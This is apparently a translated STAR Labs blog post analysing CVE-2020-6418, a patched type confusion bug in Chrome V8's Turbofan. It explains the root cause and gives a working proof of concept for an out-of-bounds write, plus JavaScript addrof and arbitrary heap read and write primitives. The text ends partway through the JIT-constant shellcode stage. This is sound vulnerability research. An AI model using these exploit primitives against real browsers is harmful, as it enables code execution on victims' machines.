深入解析与利用CVE-2020-6418:V8引擎类型混淆漏洞

本文详细分析了Google Chrome V8引擎中的CVE-2020-6418漏洞,从根因分析到利用链构建,包括触发OOB写、实现内存读写原语,以及通过即时数嵌入执行shellcode的全过程。

深入解析与利用CVE-2020-6418 | STAR Labs

December 21, 2022 · 15 min · Daniel Toh Jing En

目录

背景

作为在STAR Labs实习的一部分,我对CVE-2020-6418进行了n-day分析。该漏洞存在于Google Chrome的V8引擎中,具体是其优化编译器Turbofan。易受攻击的版本是Google Chrome V8 80.0.3987.122之前版本。在本文中,我将逐步分析该漏洞,从根因到利用。

在JavaScript中,对象没有固定类型。相反,V8为每个对象分配一个反映其类型的Map。如果Map在特定时间点保证正确,则被认为是可靠的;如果可能被其他节点修改,则不可靠。如果Map不可靠,则在使用对象前必须检查其类型是否正确。这是通过插入CheckMaps节点或CodeDependencies来实现的。在优化时,Turbofan旨在插入尽可能少的Map检查,并仅在必要时(即当Map不可靠且将被访问时)进行。

然而,JSCreate节点的副作用被错误建模,可能导致Map被标记为可靠,即使它已被JSCreate的副作用更改。这导致了类型混淆漏洞,其中Map指示的对象类型与内存中实际存储的对象类型不同。因此,在访问对象时,可能访问到对象分配内存之外的内存。

该漏洞在2年前的V8版本中已修复。使用提供的补丁,我们在较新版本的V8中重现了该漏洞以进行利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 051eeeb5ef..504644e97a 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -418,7 +418,6 @@ NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
           // We reached the allocation of the {receiver}.
           return kNoMaps;
         }
-        result = kUnreliableMaps;  // JSCreate can have side-effect.
         break;
       }
       case IrOpcode::kJSCreatePromise: {

V8中的指针标记与压缩

为了区分V8中的小立即数(Smis)和指针,使用了指针标记。最低有效位用于标记值是指针(1)还是Smi(0)。

由于Smis占用32位内存,引入了指针压缩,使指针大小在64位架构上也为32位。

引入了32位隔离根(isolate root),对应于称为V8沙箱的4GB内存块的起始内存地址。隔离根然后与32位压缩指针组合以寻址64位内存。

由于双精度值仍使用64位(8字节)存储,对象数组和双精度数组将具有不同的大小,这对我们的分析很重要。

根因分析

漏洞位于node-properties.cc中的InferMapsUnsafe函数。该函数旨在基于Turbofan中的“sea of nodes”内部表示来确定目标对象(接收者)的Map是否可靠。它遍历效果链[1]直到找到Map的源[2]。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Effect effect,
    ZoneRefUnorderedSet<MapRef>* maps_out) {
  HeapObjectMatcher m(receiver);
  if (m.HasResolvedValue()) {
    HeapObjectRef ref = m.Ref(broker);
    if (!ref.IsJSObject() ||
        !broker->IsArrayOrObjectPrototype(ref.AsJSObject())) {
      if (ref.map().is_stable()) {
        // The {receiver_map} is only reliable when we install a stability
        // code dependency.
        *maps_out = RefSetOf(broker, ref.map());
        return kUnreliableMaps;
      }
    }
  }
  InferMapsResult result = kReliableMaps;
  while (true) {
    switch (effect->opcode()) {
      //...
    }

    // Stop walking the effect chain once we hit the definition of
    // the {receiver} along the {effect}s.    
    if (IsSame(receiver, effect)) return kNoMaps;                         //[2]

    // Continue with the next {effect}.
    DCHECK_EQ(1, effect->op()->EffectInputCount());
    effect = NodeProperties::GetEffectInput(effect);                      //[1]
  }
}

如果在遍历效果链时遇到MapGuard/CheckMaps节点[3],它也会返回当前结果(从该点起Map保证可靠,因为它被保护/检查)。如果节点已知有可能修改相关Map的副作用,则Map将被标记为不可靠。例如,如果节点中未设置kNoWrite标志,则节点可能更改Map,因此Map将被标记为不可靠[4]。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    switch (effect->opcode()) {
      case IrOpcode::kMapGuard: {                                         //[3]
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_out = ToRefSet(broker, MapGuardMapsOf(effect->op()));
          return result;
        }
        break;
      }
      case IrOpcode::kCheckMaps: {                                        //[3]
        Node* const object = GetValueInput(effect, 0);
        if (IsSame(receiver, object)) {
          *maps_out =
              ToRefSet(broker, CheckMapsParametersOf(effect->op()).maps());
          return result;
        }
        break;
      }
      //...
      case IrOpcode::kJSCreate: {                                       
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_out = RefSetOf(broker, initial_map.value());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoMaps;
        }                                                                  //[5]
        break;
      } 
      //...
      default: {
        DCHECK_EQ(1, effect->op()->EffectOutputCount());
        if (effect->op()->EffectInputCount() != 1) {
          // Didn't find any appropriate CheckMaps node.
          return kNoMaps;
        }
        if (!effect->op()->HasProperty(Operator::kNoWrite)) {              //[4]
          // Without alias/escape analysis we cannot tell whether this
          // {effect} affects {receiver} or not.
          result = kUnreliableMaps;
        }
        break;
      }
    }

但是,如果遇到不是Map源的JSCreate节点,则Map错误地未被标记为不可靠[5],即使JSCreate可能具有更改对象Map的副作用。这可以通过将Proxy作为第三个参数传递给Reflect.construct()来实现,该调用在内联阶段被简化为JSCallReducer::ReduceReflectConstruct中的JSCreate节点。因此,对象Map在修改后未被检查,导致类型混淆和堆损坏。

漏洞利用

类型混淆漏洞的利用通常始于使用数组进行越界(OOB)读/写,因为元素类型决定了堆中的访问偏移量。

例如,如果数组元素是对象,则偏移量为4字节(压缩指针),而双精度数将有8字节偏移量。当Map在更改后未被检查时,后续读/写的偏移量不会改变,即使偏移量可能超出堆中新分配对象的内存范围。

然后,此越界读/写可用于覆盖附近内存中另一个数组的长度字段,允许更广泛的越界访问。

阶段0:触发初始OOB写

PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function f(p) {
	a.push(Reflect.construct(function(){}, arguments, p)?4.183559238858528e-216:0); //itof(0x1337133700010000)
}

let p = new Proxy(Object, {
    get: () => {
    	a[0] = {};
    	oob_arr = Array(1);
    	oob_arr[0] = 1.1;
    	return Object.prototype;
    }
});

function main(p) { return f(p); } // Wrapper function

let a = Array(11);
a[0] = 1.1;
let oob_arr;  // Target array to overwrite length

a.pop();
a.pop();

// Trigger optimisation
for (let i = 0; i < 0x10000; i++) { main(function(){}); a.pop(); } 

main(function(){});
main(p);
console.assert(oob_arr.length === 0x8000); // Achieved OOB

我们将从双精度数组a开始。目前,它具有8字节元素大小。

为实现初始OOB写,我们在f中的Array.push()调用内嵌套使用Reflect.construct()调用。三元运算符提供了一种推送用户控制值以覆盖长度字段的方法。

我们还声明了一个代理p。此代理仅在我们想要触发OOB写时被调用。它将a[0]更改为空对象,从而将a的类型更改为对象数组(4字节元素大小)。这将在堆中重新分配数组。另一个双精度数组oob_arr也被分配,该数组将位于堆中a附近。

首先,我们多次调用该函数,不使用代理,以触发Turbofan的优化。该函数用外部函数main包装,以防止优化为非JSCreate调用,这在它是调用的最外层函数时发生。

在多次调用期间,使用Array.pop()确保数组大小保持小于其原始大小,以防止数组在内存中重新分配。

在函数的最终调用中,我们调用代理p。在a更改为4字节对象数组并重新分配后,Array.push()调用然后使用旧的8字节元素大小执行越界访问,覆盖oob_arr的长度字段。在我们的情况下,由于我们推送4.183559238858528e-216,它是IEEE表示中的0x1337133700010000。0x00010000将覆盖长度字段,导致oob_arr.length为0x8000(因为指针标记,0x10000表示整数0x8000)。

关于在Array.push()中嵌套Reflect.construct()

为了演示为什么嵌套在利用中很重要(而不是单独调用Reflect.construct()和Array.push()),我使用Turbolizer分析了Turbofan在TFInlining阶段生成的图(效果链),有和没有嵌套。我使用了原始Chromium错误帖子中提供的PoC。虽然这使用Array.pop()而不是Array.push(),但想法相同。

在所有图中,最后三个LoadField节点表示Array.pop()调用的开始。

对于图1,没有嵌套调用,在JSCreate和Checkpoint之间有一个JSLoadContext节点。该节点也出现在图2中,但在JSCreate节点之前。似乎JSLoadContext节点涉及在Checkpoint之后插入CheckMaps节点,因此嵌套调用允许CheckMaps节点在JSCreate之前插入而不是之后。

查看图3,我们可以看到非易受攻击版本即使有JSLoadContext和其他CheckMaps节点在JSCreate之前,也添加了CheckMaps节点。这表明JSCreate节点的副作用建模已修复。

阶段1:原语构建

通过覆盖数组oob_arr的长度,我们现在可以通过访问其元素执行进一步的OOB访问。现在最常见的步骤是实现addrof/heap_read/heap_write原语,这些原语允许我们查找对象的地址,并在堆中的地址上执行读/写。

这是通过声明另外两个分别包含双精度数和对象的数组来完成的。

1
2
3
4
let vic_arr = new Array(128); // Victim float array
vic_arr[0] = 1.1; 
let obj_arr = new Array(256); // Object array
obj_arr[0] = {};

我们还声明了2个辅助函数,允许我们在从目标越界数组的元素指针测量的位置读/写32位值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function oob_read32(i){ // Read 32 bits at offset from oob_arr elements
	i-=2;
	if (i%2 == 0) return lower(ftoi(oob_arr[(i>>1)]));
	else return upper(ftoi(oob_arr[(i>>1)]));
}

function oob_write32(i, x){ // Write 32 bits at offset from oob_arr elements
	i-=2;
	if (i%2 == 0) oob_arr[(i>>1)] = itof( (oob_read32(i^1)<<32n) + x);
	else oob_arr[(i>>1)] = itof( (x<<32n) + oob_read32(i^1));
}

要获取addrof原语,我们首先将所需对象放入对象数组。然后,我们用双精度数组的Map替换对象数组的Map。现在,当我们读取对象数组的元素时,两个32位指针将被视为64位双精度值,我们可以获取任何对象的指针。

1
2
3
4
5
6
7
8
9
function addrof(o) { // Get compressed heap pointer of object
	obj_arr[0] = o;
	vic_arr_mapptr = oob_read32(17);
	obj_arr_mapptr = oob_read32(411);
	oob_write32(411, vic_arr_mapptr);
	let addr = obj_arr[0];
	oob_write32(411, obj_arr_mapptr); 
	return lower(ftoi(addr));
}

对于堆读/写原语,我们将用要写入的压缩堆指针覆盖双精度数组的元素指针。我们需要+1以将值标记为指针,并-8因为元素指针和elements[0]地址之间有8字节偏移。请注意,由于指针被压缩,我们只能访问V8沙箱内的地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function heap_read64(addr) { // Read 64 bits at arbitrary heap address
	vic_arr_elemptr = oob_read32(19);
	new_vic_arr_elemptr = (addr -8n + 1n);
	oob_write32(19, new_vic_arr_elemptr);
	let data = ftoi(vic_arr[0]);
	oob_write32(19, vic_arr_elemptr);
	return data;
}

function heap_write64(addr, val) { // Write 64 bits at arbitrary heap address
	vic_arr_elemptr = oob_read32(19);
	new_vic_arr_elemptr = (addr + -8n + 1n);
	oob_write32(19, new_vic_arr_elemptr);
	vic_arr[0] = itof(val);
	oob_write32(19, vic_arr_elemptr); 
}

阶段2:使用即时数的Shellcode

本节主要基于此博客文章。

由于我们的V8版本启用了V8沙箱,使用ArrayBuffer的支持存储写入WASM内存的RWX页的常见方法将不再有效,因为RWX页位于V8沙箱之外,而我们只能使用原语写入V8沙箱内的地址。因此,我们将使用不同的方法。

当JS函数被Turbofan编译时,即时(JIT)代码将作为R-X区域存储在堆中(V8沙箱外),并创建指向代码开始的指针。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
d8> %DebugPrint(foo)
DebugPrint: 0x20aa003888a9: [Function] in OldSpace
 - map: 0x20aa00244245 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x20aa002440f9 <JSFunction (sfi = 0x20aa0020aad1)>
 - elements: 0x20aa00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 ...
 - code: 0x20aa0020b3a9 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
 ...
 
d8> %DebugPrintPtr(0x20aa0020b3a9)
DebugPrint: 0x20aa0020b3a9: [CodeDataContainer] in OldSpace
 - map: 0x20aa00002a71 <Map[32](CODE_DATA_CONTAINER_TYPE)>
 - kind: BUILTIN
 - builtin: InterpreterEntryTrampoline
 - is_off_heap_trampoline: 1
 - code: 0
 - code_entry_point: 0x7fff7f606cc0
 ...

如果我们在编译函数中声明一个双精度数组,则用于加载即时值的64位IEEE表示也将作为R-X存储在堆中。

例如,如果我们在函数中使用数组[1.1, 1.2, 1.3, 1.4],生成的代码将如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> x/40i 0x5554c00053c0
   0x5554c00053c0:	mov    ebx,DWORD PTR [rcx-0x30]
   ...
   0x5554c0005424:	movabs r10,0x3ff199999999999a
   0x5554c000542e:	vmovq  xmm0,r10
   0x5554c0005433:	vmovsd QWORD PTR [rcx+0x7],xmm0
   0x5554c0005438:	movabs r10,0x3ff3333333333333
   0x5554c0005442:	vmovq  xmm0,r10
   0x5554c0005447:	vmovsd QWORD PTR [rcx+0xf],xmm0
   0x5554c000544c:	movabs r10,0x3
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计